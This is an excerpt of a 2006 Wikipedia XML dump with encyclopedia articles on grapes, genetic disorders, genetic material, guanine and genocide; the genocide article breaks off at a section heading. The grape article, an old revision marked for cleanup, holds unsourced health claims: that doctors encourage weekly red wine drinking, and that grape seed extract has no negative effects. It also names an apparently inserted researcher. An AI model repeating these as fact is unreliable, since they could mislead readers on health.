* '''[[GRASS GIS]]''' (Geographic Resources Analysis Support System) is an [[Open source]] [[geographic information system]].
* '''[[GRAS]]''' (Generally Recognized as Safe) is an [[FDA]] designation that a chemical or substance added to food is considered safe

{{disambig}}

[[cs:Tráva]]
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[[eo:Herbo]]
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[[sv:Gräs]]</text>
    </revision>
  </page>
  <page>
    <title>Grape</title>
    <id>12436</id>
    <revision>
      <id>41968035</id>
      <timestamp>2006-03-02T23:08:09Z</timestamp>
      <contributor>
        <username>Naconkantari</username>
        <id>676502</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/Me12|Me12]] ([[User talk:Me12|talk]]) to last version by 71.116.25.29</comment>
      <text xml:space="preserve">{{cleanup-date|September 2005}}

{{Taxobox
| color = lightgreen
| name = Grape
| image = Close up grapes.jpg
| image_width = 250px
| image_caption = Wine Grapes
| regnum = [[Plant]]ae
| divisio = [[Flowering plant|Magnoliophyta]]
| classis = [[Magnoliopsida]]
| ordo = [[Vitales]]
| familia = [[Vitaceae]]
| genus = '''''Vitis'''''
| genus_authority = [[Carolus Linnaeus|L.]]
| subdivision_ranks = Species
| subdivision = 
''[[Vitis acerifolia]]''&lt;br /&gt;
''[[Vitis aestivalis]]''&lt;br /&gt;
''[[Vitis amurensis]]''&lt;br /&gt;
''[[Vitis arizonica]]''&lt;br /&gt;
''[[Vitis x bourquina]]''&lt;br /&gt;
''[[Vitis californica]]''&lt;br /&gt;
''[[Vitis x champinii]]''&lt;br /&gt;
''[[Vitis cinerea]]''&lt;br /&gt;
''[[Vitis x doaniana]]''&lt;br /&gt;
''[[Vitis girdiana]]''&lt;br /&gt;
''[[Vitis labrusca]]''&lt;br /&gt;
''[[Vitis x labruscana]]''&lt;br /&gt;
''[[Vitis monticola]]''&lt;br /&gt;
''[[Vitis mustangensis]]''&lt;br /&gt;
''[[Vitis x novae-angliae]]''&lt;br /&gt;
''[[Vitis palmata]]''&lt;br /&gt;
''[[Vitis riparia]]''&lt;br /&gt;
''[[Vitis rotundifolia]]''&lt;br /&gt;
''[[Vitis rupestris]]''&lt;br /&gt;
''[[Vitis shuttleworthii]]''&lt;br /&gt;
''[[Vitis tiliifolia]]''&lt;br /&gt;
''[[Vitis vinifera]]''&lt;br /&gt;
''[[Vitis vulpina]]''
}}
{{wiktionarypar|grape}}
'''Grapes''' are the [[fruit]] that grow on a woody grape [[vine]]. The grapevine belongs to the family [[Vitaceae]]. Grapes grow in clusters of 6 to 300, and can be black, blue, golden, green, purple-red and white. They can be eaten raw or used for making [[grape juice]], [[jelly]], [[wine]], and [[grape seed oil]]. [[Raisin]]s are the dried fruit of the grapevine, and the name actually comes from the French word for &quot;grape&quot;. Wild grapevines are often considered a nuisance weed, as they cover other plants with their usually rather aggressive growth.


== Trivia ==
When heated in a microwave oven, grapes create sparks and, potentally, plasma known as [[ball lightning]].

== Grapevines ==

Grapevines are used as food plants by the [[larva]]e of some [[Lepidoptera]] species - see [[list of Lepidoptera which feed on grapevines]]''.

Many species of grapevines exist and these include:

*''[[Vitis vinifera]]'', the European [[how to make wine|winemaking]] grapevine. Native to virtually all of mainland Europe.
*''[[Vitis labrusca]]'', the North American table and grape juice grapevines, sometimes used for wine. Native to [[Canada]] and the [[Eastern U.S.]]
*''[[Vitis riparia]]'', a wild vine of [[North America]], sometimes used for winemaking and for jam. Native to the entire [[Eastern U.S.]]  north to [[Quebec]].
*''[[Vitis rotundifolia]]'', the [[muscadine]]s, used for jams  and wine. Native to the [[Southeastern U.S.]] from [[Delaware]] to the [[Gulf of Mexico]].
*''[[Vitis aestivalis]]'', the variety Norton (AKA Cynthiana) is used for winemaking
*''[[Vitis lincecumii]]'' (also called ''Vitis aestivalis'' or ''Vitis lincecumii''), ''[[Vitis berlandieri]]'' (also called ''Vitis cinerea'' var. helleri), ''[[Vitis cinerea]]'', ''[[Vitis rupestris]]'' are used for making hybrid grapevines and for pest-resistant [[rootstock]]s.
**''[[Vitis arizonica]]'' A desert grapevine found in the southwestern US that is hardy against extremes of temperature. Can be used for wines.
*''[[Vitis californica]]'' A grapevine important to the California wine industry for its rootstock which is able to withstand pests and cooler weather. Native to [[California]] and [[Oregon]].
*''[[Vitis vulpina]]''  Frost Grape. Native to the [[Midwest]] east to the coast up through [[New York]]. 
There are many [[List of grape varieties|varieties]] of grapevines; most are cultivars of ''V. vinifera''.


[[Hybrid]]s also exist, and these are primarily crosses between ''[[Vitis vinifera|V. vinifera]]'' and one or more varieties of ''[[Vitis labrusca|V. labrusca]]'', ''[[Vitis riparia|V. riparia]]'' or ''[[Vitis aestivalis|V. aestivalis]]''. Hybrids tend to be less susceptible to frost and disease (notably [[phylloxera]]), but wine from some hybrids may have a little of the characteristic &quot;foxy&quot; odor of ''[[Vitis labrusca|labrusca]]''.

The [[sea grape]] ''[[Coccoloba uvifera]]'' is actually a member of the Buckwheat family ''[[Polygonaceae]]'' and is native to the lands of the [[Caribbean Sea]].

According to the &quot;Food and Agriculture Organization&quot;(FAO), 75866 square kilometres of the world is dedicated to grapes. Approximately 71% of world grape production is used for wine, 27% as fresh fruit and 2% as dried fruit. A portion of grape production goes to producing grape juice to be used as a sweetener for fruits canned &quot;with no added sugar&quot; and &quot;100% natural&quot;. The area dedicated to vineyards is increasing by about 2% per year.

The following list of top wine-producers shows the corresponding areas dedicated to grapes for wine making:
*Spain 11,750 km²
*France 8,640 km²
*Italy 8,270 km²
*Turkey 8,120 km²
*United States 4,150 km²
*Iran 2,860 km²
*Romania 2,480 km²
*Portugal 2,160 km²
*Argentina 2,080 km²
*China 1,780 km²

Sources: FAO, [http://news.reseau-concept.net/images/oiv_uk/Client/Stat_2002_def2_EN.pdf Organisation Internationale de la Vigne et du Vin (pdf)].

Researchers,such as Marty Mayo, comparing diets in western countries have discovered that although the French tend to eat higher levels of animal fat, surprisingly the incidence of [[heart disease]] remains low in France. They named this phenomenon the [[French Paradox]]. Many scientists now believe the reason is the greater consumption of red wine in France. Something in the grape helps to lower cholesterol levels in the body and thus slows the build up of deposits in the arteries. Compounds such as [[resveratrol]] (a member of the polyphenol family) have been discovered in grapes and these have been positively linked to fighting cancer, [[heart disease]], degenerative [[nerve]] disease and other ailments. Doctors do not recomend excessive consumption of red wine, but three or four glasses a week is beneficial and encouraged.

Although many people incorrectly assume that red grapes are more beneficial to the health, in fact grapes of all colors offer comparable benefits. Red wine however does offer some health benefits not found in white wine, because many of the beneficial compounds are found in the skins of the grapes, and only red wine is fermented with the skins.


&lt;center&gt;&lt;gallery&gt;
Image:Grapes.jpg|A bunch of grapes
Image:Autumn Royal grapes.jpg|Autumn Royal grapes
Image:Ripe grapes.jpg|Red and green grapes
Image:More grapes.jpg|Red grapes
Image:Flame seedless grapes.jpg|Flame seedless grapes
Image:Concord grape plant.jpg|Foliage of the Concord grape plant
Image:Grapevinefoliage.jpg|Foliage of the New England wild grape
Image:Young grapes.jpg|Young grapes
Image:Yellowjacket grapes.jpg|[[Yellowjacket]] Eating grapes
&lt;/gallery&gt;&lt;/center&gt;

== Raisins, currants, and sultanas ==

A [[raisin]] is any dried grape. A [[Zante currant|currant]] is a dried Zante grape, originally grown near [[Corinth]]. A [[sultana]] was originally a dried Sultana grape; however, modern product includes Thompson Seedless grapes treated with sulphur dioxide and lightly heated. This makes them more golden in colour and taste sweeter. [http://www.ochef.com/676.htm]

== Grape seed extract ==

The seeds in grapes are known to contain procyanidolic oligomers, also known as PCOs. Researchers have concluded that PCOs strengthen blood vessels, and improve blood circulation. Grape seed extract may help slow aging, prevent heart disease, deter cancer, lessen allergy symptoms, and eye strain, and fight certain skin diseases. In recent studies grape extract has also been shown to lessen celulite, and lower cholestral and blood pressure levels. The use of grape seed extract is available in forms such as: liquid, tablet, and capsule. Grape seed extract has not yet been shown to have any negative effects on consumers.

==  Seedlessness in Grapes ==

Seedlessness is a highly desirable trait in table grape selection, and seedless cultivars now make up the overwhelming majority of table grape plantings. Because grapevines are vegetatively propagated, by cuttings, the lack of seeds does not present a problem for reproduction. It is, however, an issue for breeders, who must either use a seeded variety as the female parent or rescue embryos early in development using tissue culture techniques.

There are several sources of the seedlessness trait, and essentially all commercial cultivars get it from one of three sources: 'Thompson Seedless', 'Russian Seedless', and 'Black Monukka'. All are members of &lt;i&gt;[[Vitis vinifera]]&lt;/i&gt;.

==External links==
* [http://www.itis.usda.gov/servlet/SingleRpt/SingleRpt?search_topic=TSN&amp;search_value=28600 Integrated Taxonomic Information System entry for Grape famiily]
* [http://europa.eu.int/comm/agriculture/agrista/2004/table_en/4611.pdf Area under vine (pdf)]
* [http://www.fcps.k12.va.us/StratfordLandingES/Ecology/mpages/wild_grape.htm Wild Grapes]

{{commons|Grape}}

[[Category:Vitales]]
[[Category:Fruit]]
[[Category:Viticulture]]

[[als:Weintraube]]
[[de:Weintraube]]
[[es:Uva]]
[[eo:Vinbero]]
[[fa:انگور]]
[[fr:Raisin]]
[[io:Vito]]
[[id:Anggur]]
[[it:Vitis]]
[[he:גפן (צמח)]]
[[mg:Voaloboka]]
[[nl:Druif]]
[[ja:ブドウ]]
[[nn:Drue]]
[[pl:Winorośl]]
[[pt:Uva]]
[[ru:Виноград]]
[[sr:Грожђе]]
[[fi:Viinirypäle]]
[[simple:Grape]]
[[sv:Vindruva]]
[[zh:葡萄]]</text>
    </revision>
  </page>
  <page>
    <title>Genetic disorder</title>
    <id>12437</id>
    <revision>
      <id>41788696</id>
      <timestamp>2006-03-01T19:33:43Z</timestamp>
      <contributor>
        <username>GrinBot</username>
        <id>411872</id>
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      <minor />
      <comment>robot  Adding: hu Modifying: ru</comment>
      <text xml:space="preserve">A '''genetic disorder''', or '''genetic disease''' is a [[disease]] caused by abnormal expression of one or more genes in a person causing a clinical phenotype. There are a number of possible causes for genetic defects:

* They may be caused by a [[mutation]] in a gene, affecting its function. 
* There are genetic disorders caused by the abnormal [[chromosome]] number, as in [[Down syndrome]] (extra chromosome 21) and [[Klinefelter's syndrome]] (a male with 2 X chromosomes).
* Triplet expansion repeat mutations can cause [[Fragile X syndrome]] or [[Huntington's disease]], by modification of gene expression or gain of function, respectively.
* Defective genes are often inherited from the parents. In this case, the genetic disorder is known as a '''hereditary disease'''. This can often happen unexpectedly when two healthy carriers of a defective [[recessive gene]] reproduce, but can also happen when the defective gene is [[dominant gene|dominant]].

Currently around 4,000 genetic disorders are known; new ones are constantly discovered. The vast majority of these disorders are quite rare, and affect one person in every several thousands or millions. [[Cystic fibrosis]] is the most common genetic disorder; around 5% of the population of the [[United States]] carry the defective gene.

==Single gene disorders==
A number of genetic disorders are due to the change of a single [[gene]], resulting in an [[enzyme]] or other [[protein]] not being produced or having altered functionality, they are called [[monogenic]] disorders.  The change can be trivial and relatively harmless in its effects, such as [[color blindness]], or lethal such as [[Tay-Sachs]]. Other disorders, though harmful to those afflicted with them, appear to offer some advantage to carriers; as in carriers of [[sickle cell anemia]] and [[thalassemia]] appearing to have enhanced resistance to [[malaria]]. Several hereditary diseases are [[sex-linked]], meaning that they afflict one sex much more common than the other because the mutation is located on the X (or, rarely, on the Y) chromosome.

===Transmission of single gene disorders===
Where genetic disorders are the result of a single mutated gene they can be passed on to subsequent generations in the following ways, however [[Imprinting (genetics)|genomic imprinting]] and [[uniparental disomy]]  may affect inheritance patterns. The divisions between recessive and dominant are not &quot;hard and fast&quot; although the divisions between autosomal and X-linked are (related to the position of the gene). For example, [[achondroplasia]] is typically considered a dominant disorder, but kids with two genes for achondroplasia have a severe skeletal disorder that achondroplasics could be viewed as carriers of. [[Sickle-cell anemia]] is also considered a recessive condition, but carriers of it have increased immunity to malaria in early childhood, which could be described as a dominant condition.
{| border=&quot;1&quot; cellpadding=&quot;2&quot;
!Inheritance pattern
!Description
!Examples
|-
| Autosomal dominant
|Only one mutated copy of the gene is needed for a person to be affected by an autosomal dominant disorder. Each affected person usually has one affected parent. There is a 50% chance that a child will inherit the mutated gene. 
|[[Huntingtons disease]], [[Neurofibromatosis 1]], [[Hereditary nonpolyposis colorectal cancer]]
|-
|Autosomal recessive
|Two copies of the gene must be mutated for a person to be affected by an autosomal recessive disorder. An affected person usually has unaffected parents who each carry a single copy of the mutated gene (and are referred to as carriers). Two unaffected people who each carry one copy of the mutated gene have a 25% chance with each pregnancy of having a child affected by the disorder.
|[[Cystic fibrosis]], [[Sickle cell anemia]], [[Tay-Sachs disease]], [[Spinal muscular atrophy]]
|-
|X-linked dominant 
|X-linked dominant disorders are caused by mutations in genes on the [[X chromosome]]. Only a few disorders have this inheritance pattern. Females are more frequently affected than males, and the chance of passing on an X-linked dominant disorder differs between men and women. The sons of a man with an X-linked dominant disorder will not be affected, and his daughters will all inherit the condition. A woman with an X-linked dominant disorder has a 50% chance of having an affected daughter or son with each pregnancy. Some X-linked dominant conditions, such as [[Aicardi Syndrome]], are fatal to boys, therefore only girls have them (and boys with [[Klinefelter Syndrome]]). 
|[[Hypophosphatemia]], [[Aicardi Syndrome]]
|-
|X-linked recessive
| X-linked recessive disorders are also caused by mutations in genes on the X chromosome. Males are more frequently affected than females, and the chance of passing on the disorder differs between men and women. The sons of a man with an X-linked recessive disorder will not be affected, and his daughters will carry one copy of the mutated gene. With each pregnancy, a woman who carries an X-linked recessive disorder has a 50% chance of having sons who are affected and a 50% chance of having daughters who carry one copy of the mutated gene. 
|[[Hemophilia A]], [[Duchenne muscular dystrophy]], [[Color blindness]]
|-
|Y-linked
|Y-linked disorders are caused by mutations on the Y chromosome. Only males can get them, and all of the sons of an affected father are affected. Since the Y chromosome is very small, Y-linked disorders only cause infertility, and may be circumvented with the help of some fertility treatments.
|[[Infertility|Male Infertility]]
|-
|Mitochondrial
|This type of inheritance, also known as maternal inheritance, applies to genes in [[mitochondrial DNA]]. Because only egg cells contribute mitochondria to the developing embryo, only females can pass on mitochondrial conditions to their children.
|[[Leber's Hereditary Optic Neuropathy]] (LHON)
|}

==Multifactoral and polygenic disorders==
Genetic disorders may also be complex, multifactorial or polygenic, this means that they are likely associated with the effects of multiple genes in combination with lifestyle and environmental factors. Multifactoral disorders include [[heart disease]] and [[diabetes]]. Although complex disorders often cluster in families, they do not have a clear-cut pattern of inheritance. This makes it difficult to determine a person’s risk of inheriting or passing on these disorders. Complex disorders are also difficult to study and treat because the specific factors that cause most of these disorders have not yet been identified.

Examples of polygenic disorders in humans include:
* [[Autism]]

==Chromosomal disorders==
Changes that affect entire [[chromosome]]s or segments of chromosomes can cause problems with growth, development, and function of the body's systems. These changes can affect many genes along the chromosome and alter the proteins made by those genes. Conditions caused by a change in the number or structure of chromosomes are known as chromosomal disorders. 

Some chromosomal conditions are caused by changes in the number of chromosomes, called [[aneuploidy]]. These changes are not inherited, but occur as random events during the formation of reproductive cells ([[ovum|ova]] and [[sperm cell]]s). An error in [[cell division]] called nondisjunction results in reproductive cells with an abnormal number of chromosomes. For example, a reproductive cell may accidentally gain or lose one copy of a chromosome. If one of these atypical reproductive cells contributes to the genetic makeup of a child, the child will have an extra ([[trisomy]]) or missing chromosome ([[monosomy]]) in each of the body’s cells. The formation of [[ring chromosome]]s following fertilization also cause genetic disorders.

Chromosomal disorders can also be caused by chromosome structure. These changes are caused by the breakage and reunion of chromosome segments when an egg or sperm cell is formed or in early [[fetus|fetal]] development. Pieces of DNA can be rearranged within one chromosome, or transferred between two or more chromosomes. The effects of structural changes depend on their size and location. Many different structural changes are possible; some cause medical problems, while others may have no effect on a person’s health. 

Although it is possible to inherit some types of chromosomal abnormalities, most chromosomal disorders are not passed from one generation to the next.

==Study of Genetic Diseases==

The study of genetic diseases is a large scientific discipline, whoes theoretical
underpining is based on [[Population genetics]].

== Medical diagnosis, treatment, and counseling==
Genetic diseases are typically diagnosed and treated by [[geneticists]].  [[Genetic counselor]]s assist the [[physicians]] and directly counsel patients.

== See also ==
* [[List of genetic disorders]]

==References==
''This article incorporates public domain text from [http://ghr.nlm.nih.gov The U.S. National Library of Medicine]''

==External links==
* [http://www.ornl.gov/hgmis/medicine/assist.html Genetic Disease Information from the Human Genome Project] 
* [http://www.wellcome.ac.uk/en/genome/genesandbody/gb_genesanddisease.html Genes and Disease] from the [[Wellcome Trust]]
**[http://www.wellcome.ac.uk/en/genome/genesandbody/hg06b010.html Polygenic and multifactorial disease] from the [[Wellcome Trust]]

[[Category:Genetics]]
[[Category:Genetic disorders]]

{{Link FA|he}}

[[de:Erbkrankheit]]
[[es:Enfermedad genética]]
[[fr:Maladie génétique]]
[[he:פגם גנטי]]
[[hu:Genetikai betegség]]
[[nl:Erfelijke aandoening]]
[[ja:遺伝子疾患]]
[[pl:Choroba genetyczna]]
[[pt:Doença congênita]]
[[ru:Наследственные заболевания]]
[[zh:遗传病]]</text>
    </revision>
  </page>
  <page>
    <title>Genetic material</title>
    <id>12438</id>
    <revision>
      <id>37339565</id>
      <timestamp>2006-01-30T09:40:47Z</timestamp>
      <contributor>
        <username>Cohesion</username>
        <id>103640</id>
      </contributor>
      <minor />
      <comment>disambiguation link repair [[Genetic]] to [[genetics]]</comment>
      <text xml:space="preserve">'''Genetic material''' is used to store the [[genetics|genetic]] information of a organic life form. For all currently known living organisms, the genetic material is almost exclusively [[DNA]]. Some viruses use [[RNA]] as their genetic material.

The first genetic material is generally believed to have been [[RNA]], initially manifested by self-replicating RNA molecules floating in bodies of water. This hypothetical period in the evolution of cellular life is known as the [[RNA world]]. This hypothesis is based off of RNA's ability to act both as genetic material and as a [[catalyst]], known as a [[ribozyme]]. However, once [[Protein|proteins]] , which can form [[Enzyme|enzymes]], came into existence, the more stable molecule DNA became the dominant genetic material, a situation continued today. Not only does DNA's double-stranded nature allow for correction of [[Mutation|mutations]] but RNA is inherently unstable. Modern cells use RNA mainly for the building of proteins from DNA instructions, in the form of [[messenger RNA]], [[ribosomal RNA]], and [[transfer RNA]].

Both RNA and DNA are macromolecules composed of [[nucleotides]], of which there are four available in each molecule. Three nucleotides compose a [[codon]], a sort of &quot;genetic word&quot;, which is specific to an [[amino acid]] in a protein. The codon-amino acid translation is known as the [[genetic code]].

{{genetics-stub}}
[[Category:Genetics]]

[[id:Bahan genetik]]
[[is:Erfðaefni]]
[[th:สารพันธุกรรม]]
[[vi:Vật liệu di truyền]]</text>
    </revision>
  </page>
  <page>
    <title>Guanine</title>
    <id>12439</id>
    <revision>
      <id>38366814</id>
      <timestamp>2006-02-05T21:47:32Z</timestamp>
      <contributor>
        <username>*drew</username>
        <id>91902</id>
      </contributor>
      <minor />
      <comment>+id:</comment>
      <text xml:space="preserve">&lt;!-- Here is a table of data; skip past it to edit the text. --&gt;
&lt;!-- &lt;nowiki&gt; Submit {{subst:chembox_simple_organic}} to get this template or go to [[Template:Chembox_simple_organic]]. &lt;/nowiki&gt; --&gt;

{| border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; align=&quot;right&quot; style=&quot;margin-left:1em&quot;
! colspan=&quot;2&quot; align=center bgcolor=&quot;#cccccc&quot; | '''Guanine'''
|-
| [[IUPAC nomenclature|Chemical name]]
| 2-Amino-1''H''-purin-6(9''H'')-one
|-
|Alternate name
|2-amino-6-oxo-purine
|-
| [[Chemical formula]]
| C&lt;sub&gt;5&lt;/sub&gt;H&lt;sub&gt;5&lt;/sub&gt;N&lt;sub&gt;5&lt;/sub&gt;O
|-
| [[Molecular mass]]
| 151.13 g/mol
|-
| [[Melting point]]
| 360 °C
|-
| [[CAS registry number|CAS number]]
| 73-40-5
|-
| [[Simplified molecular input line entry specification|SMILES]]
| NC(NC1=O)=NC2=C1N=CN2
|-
| colspan=&quot;2&quot; align=&quot;center&quot; | [[Image:Guanine_chemical_structure.png|172px|Chemical structure of guanine]]
|-
|}

'''Guanine''' is one of the five main [[nucleobase]]s found in [[nucleic acid]]s (''e.g.'', [[DNA]] and [[RNA]]). Guanine is a [[purine]] derivative, and in [[base pair|Watson-Crick base pairing]] forms three [[hydrogen bond]]s  with [[cytosine]].  Guanine &quot;stacks&quot; vertically with the other nucleobases via [[aromatic]] interactions.  Guanine is a tautomer (see [[keto-enol tautomerism]]). The guanine [[nucleoside]] is called [[guanosine]].

'''Guanine''' is also the name of a white amorphous substance found in the scales of certain fishes, the [[guano]] of [[sea-bird]]s, and the [[liver]] and [[pancreas]] of [[mammal]]s.  In fact, the name of the nucleobase is derived from the term 'guano', because it was first isolated from [[bird]] [[manure]].

In cosmetic industry, crystallic guanine is used as an additive to various products (eg. [[shampoo]]s), where it provides the pearly [[iridescence|iridescent]] effect. It provides shimmering lustre to [[eye shadow]] and [[nail polish]]. May irritate eyes. Its alternatives are synthetic [[pearl]], and [[aluminium]] and [[bronze]] particles.

==External links==

*[http://www.compchemwiki.org/index.php?title=Guanine Computational Chemistry Wiki]

{{Nucleic acids}}

[[Category:Purines]]
[[Category:Cosmetic chemicals]]
[[Category:Organic minerals]]

[[ar:جوانين]]
[[ca:Guanina]]
[[de:Guanin]]
[[es:Guanina]]
[[eo:Guanino]]
[[fr:Guanine]]
[[he:גואנין]]
[[id:Guanin]]
[[it:Guanina]]
[[lt:Guaninas]]
[[nl:Guanine]]
[[ja:グアニン]]
[[pl:Guanina]]
[[pt:Guanina (purina)]]
[[sl:Gvanin]]
[[sr:Гуанин]]
[[sv:Guanin]]
[[vi:Guanine]]
[[tr:Guanin]]
[[zh:鳥嘌呤]]</text>
    </revision>
  </page>
  <page>
    <title>Genocide</title>
    <id>12441</id>
    <revision>
      <id>42046590</id>
      <timestamp>2006-03-03T12:44:48Z</timestamp>
      <contributor>
        <username>Philip Baird Shearer</username>
        <id>26801</id>
      </contributor>
      <comment>Moved Rummel and removed unsourced POV on India</comment>
      <text xml:space="preserve">'''Genocide''' is defined by the [[Convention on the Prevention and Punishment of the Crime of Genocide]] (CPPCG) article 2 as any of the following acts committed with intent to destroy, in whole or in part, a [[national]], [[ethnicity|ethnic]], racial or [[religion|religious]] group, as such: &quot;Killing members of the group; Causing serious bodily or mental harm to members of the group; Deliberately inflicting on the group conditions of life calculated to bring about its physical destruction in whole or in part; Imposing measures intended to prevent births within the group; and forcibly transferring children of the group to another group.&quot;
{{wiktionary}} 

==Coining of the term genocide==

The term &quot;genocide&quot; was coined by [[Raphael Lemkin]] (1900&amp;ndash;1959), a [[Poland|Polish]] Jewish legal scholar, in 1943, from the roots ''genos'' ([[Greek language|Greek]] for family, tribe or race) and ''-cide'' ([[Latin]] - ''occidere'', to massacre). 

Lemkin said about the definition of genocide in its original adoption for international law at the Geneva Conventions:
:Generally speaking, genocide does not necessarily mean the immediate destruction of a nation, except when accomplished by mass killings of all members of a nation. It is intended rather to signify a coordinated plan of different actions aiming at the destruction of essential foundations of the life of national groups, with the aim of annihilating the groups themselves. The objectives of such a plan would be the disintegration of the political and social institutions, of culture, language, national feelings, religion, and the economic existence of national groups, and the destruction of the personal security, liberty, health, dignity, and even the lives of the individuals belonging to such groups.{{ref|AxisRule1944-1}}

Lemkin's original genocide definition was narrow, as it addressed only crimes against &quot;national groups&quot; rather than &quot;groups&quot; in general. Interestingly, it was broad at the same time as it included not only physical genocide, but also acts aimed at destroying the culture and livelihood of the group.

==Genocide as a crime under international law==

In the wake of the [[Nazi]] perpetrated [[The Holocaust|Holocaust]], Lemkin successfully campaigned for the universal acceptance of [[international law|international laws]], defining and forbidding genocide. This was achieved in 1948, with the promulgation of the ''Convention on the Prevention and Punishment of the Crime of Genocide''. 

The CPPCG was adopted by the [[UN General Assembly]] on [[9 December]] [[1948]] and came into effect on [[12 January]] [[1951]] (Resolution 260 (III)). It contains an internationally-recognized definition of genocide which was incorporated into the national criminal legislation of many countries, and was also adopted by the [[Rome Statute of the International Criminal Court]], the treaty that established the [[International Criminal Court]] (ICC). The Convention (in article 2) defines genocide as &quot;any of the following acts committed with intent to destroy, in whole or in part, a national, ethnical, racial or religious group, as such:&quot;
:(a) Killing members of the group;
:(b) Causing serious bodily or mental harm to members of the group;
:(c) Deliberately inflicting on the group conditions of life calculated to bring about its physical destruction in whole or in part;
:(d) Imposing measures intended to prevent births within the group;
:(e) Forcibly transferring children of the group to another group.

The first draft of the Convention included political killings but the [[USSR]] did not accept that actions against groups identified as holding similar [[politics|political opinion]] or [[social status]], that would constitute genocide if carried out against an ethnic group, was genocide. So they were removed in a political and diplomatic compromise.

After the minimum 20 countries became parties to the Convention, it came into force as international law on [[12 January]] [[1951]]. At that time however, only two of the five permanent members of the [[UN Security Council]] (UNSC) were parties to the treaty: [[France]] and the [[Republic of China]]. Eventually the [[Soviet Union]] ratified in 1954, the [[United Kingdom]] in 1970, the [[People's Republic of China]] in 1983 (having replaced the Taiwan-based Republic of China on the UNSC in 1971), and the [[United States]] in 1988. This long delay in support for the Genocide Convention by the world's most powerful nations caused the Convention to languish for over four decades. Only in the 1990s did the international law on the crime of genocide begin to be enforced.

===Criticisms of the CPPCG===

Much debate about genocides revolves around the proper definition of the word &quot;genocide&quot;. The exclusion of social and political groups as targets of genocide in this legal definition has been criticized. &lt;!-- By whom?  This needs a source --&gt; Some  historians and sociologists when discussing genocide include actions against such groups. Most generally, genocide is the deliberate destruction of a [[social identity]].{{fact}}

A major criticism of the international community's response to the Rwandan Genocide was that it was reactive, not proactive. The international community has developed a mechanism for prosecuting the perpetrators of genocide but has not developed the will or the mechanisms for intervening in a genocide as it happens. Critics point to the [[Darfur conflict]] and suggest that if anyone is found guilty of genocide after the conflict either by prosecutions brought in the International Criminal Court or in an ''ad hoc'' International Criminal Tribunal, this will confirm this perception.{{fact}}

{{sectstub}}

====Rummel's criticism====

According to [[R. J. Rummel]], genocide has 3 different meanings. The ordinary meaning is murder by government of people due to their national, ethnical, racial, or religious group membership. The legal meaning of genocide refers to  the international treaty, the ''Convention on the Prevention and Punishment of the Crime of Genocide''. This also includes nonkillings that in the end eliminate the group, such as preventing births or forcibly transferring children out of the group to another group. A generalized meaning of genocide is similar to the ordinary meaning but also includes government killings of political opponents or otherwise intentional murder. It is to avoid confusion regarding what meaning is intended that Rummel created the term [[democide]] for the third meaning.{{ref|Rummel}}

===International prosecution of genocide===

All signatories to the CPPCG are required to prevent and punish acts of genocide, both in peace and wartime, though some barriers make this enforcement difficult. In particular, some of the signatories &amp;mdash; namely, [[Bahrain]], [[Bangladesh]], [[India]], [[Malaysia]], the [[Philippines]], [[Singapore]], the [[United States]], [[Vietnam]], [[Yemen]], and [[Yugoslavia]] &amp;mdash; signed with the proviso that no claim of genocide could be brought against them at the [[International Court of Justice]] without their consent{{ref|treaty1gen}}. Despite official protests from other signatories (notably [[Cyprus]] and [[Norway]]) on the ethics and legal standing of these reservations, the [[immunity (legal)|immunity]] from prosecution they grant has been invoked from time to time, as when the United States refused to allow a charge of genocide brought against it by Yugoslavia following the 1999 [[Kosovo War]].

It is commonly accepted that, at least since [[World War II]], genocide has been illegal under [[custom (law)|customary international law]] as a [[peremptory norm]], as well as under [[treaty|conventional international law]]. Acts of genocide are generally difficult to establish, for prosecution, since intent, demonstrating a chain of accountability, has to be established.  International criminal courts and tribunals function primarily because the states involved are incapable or unwilling to prosecute crimes of this magnitude themselves. 

To date all international prosecutions for genocide have been brought in specially convened international tribunals. Since [[2002]], the International Criminal Court can exercise its jurisdiction if national courts are unwilling or unable to investigate or prosecute genocide, thus being a &quot;court of last resort,&quot; leaving the primary responsibility to exercise jurisdiction over alleged criminals to individual states. Due to the United States concerns over the ICC, the United States prefers to continue to use specially convened international tribunals for such investigations and potential  prosecutions{{ref|ICC}}

====Nuremberg Trials====
:''Main article [[The Holocaust]]

The [[Nuremberg Trials]] is the general name for two sets of trials of [[Nazi]]s involved in [[World War II]] and [[the Holocaust]]. The trials were held in the [[Germany|German]] city of [[Nuremberg]] from 1945 to 1949 at the [[Nuremberg Palace of Justice]] . The first and more famous of these trials was the '''Trial of the Major War Criminals Before the International Military Tribunal''' or IMT, which tried 24 of the most important captured (or still believed to be alive) leaders of Nazi Germany. It was held from [[November 20]], [[1945]] to [[October 1]], [[1946]].

====Former Yugoslavia====
:''Main article [[Bosnian Genocide]]

The [[International Criminal Tribunal for the Former Yugoslavia]] (ICTY) is a court under the auspices of the [[United Nations]] for the prosecution of genocide and certain other types of crime committed in former [[Socialist Federal Republic of Yugoslavia|former Yugoslavia]] since 1991.  The tribunal functions as an ad-hoc court and is located in [[The Hague]]. It was established by [[UN Security Council Resolution 827|Resolution 827]] of the [[UN Security Council]], which was passed on [[May 25]], [[1993]].

Some of those found guilty of Genocide or crimes against humanity are:
* [[Milan Babic]], [[RSK|Krajina]] Serb , prime minister of [[Republika Srpska Krajina]] (Serb self proclaimed entity in Croatia); sentenced to thirteen years for his part in ethnic cleansing.
* [[Vidoje Blagojevic]], Bosnian Serb, a Bosnian Serb Army officer, sentenced to 18 years for involvement in the [[Srebrenica massacre]].
* [[Dragan Jokic]], Bosnian Serb, sentenced to 9 years for involvement in Srebrenica massacre.
* [[Radislav Krstic]], Bosnian Serb, Bosnian Serb Army general; sentenced to thirty-five years (originally forty-six years) for genocide, crimes against humanity and violations of the laws or customs of war.

====Rwanda====
:''Main article [[Rwandan Genocide]]

The [[International Criminal Tribunal for Rwanda]] ('''ICTR''') is a court under the auspices of the [[United Nations]] for the prosecution of offenses committed in [[Rwanda]] during the [[Rwandan genocide|genocide which occurred there]] during April, 1994, commencing on [[April 6]]. The ICTR was created on [[November 8]], [[1994]] by the Security Council of the United Nations in order to judge those people responsible for the acts of  genocide and other serious violations of the international law performed in the territory of Rwanda, or by Rwandan citizens in nearby states, between [[January 1]] and [[December 31]], [[1994]].

So far, the ICTR has finished nineteen trials and convicted twenty five accused persons.  Another twenty five persons are still on trial.  Nineteen are awaiting trial in detention.  Ten are still at large.  The first trial, of [[Jean-Michel Akayesu]], began in 1997.  [[Jean Kambanda]], interim Prime Minister, plead guilty.{{ref|rwanda}}

==Genocide as a crime under domestic law==

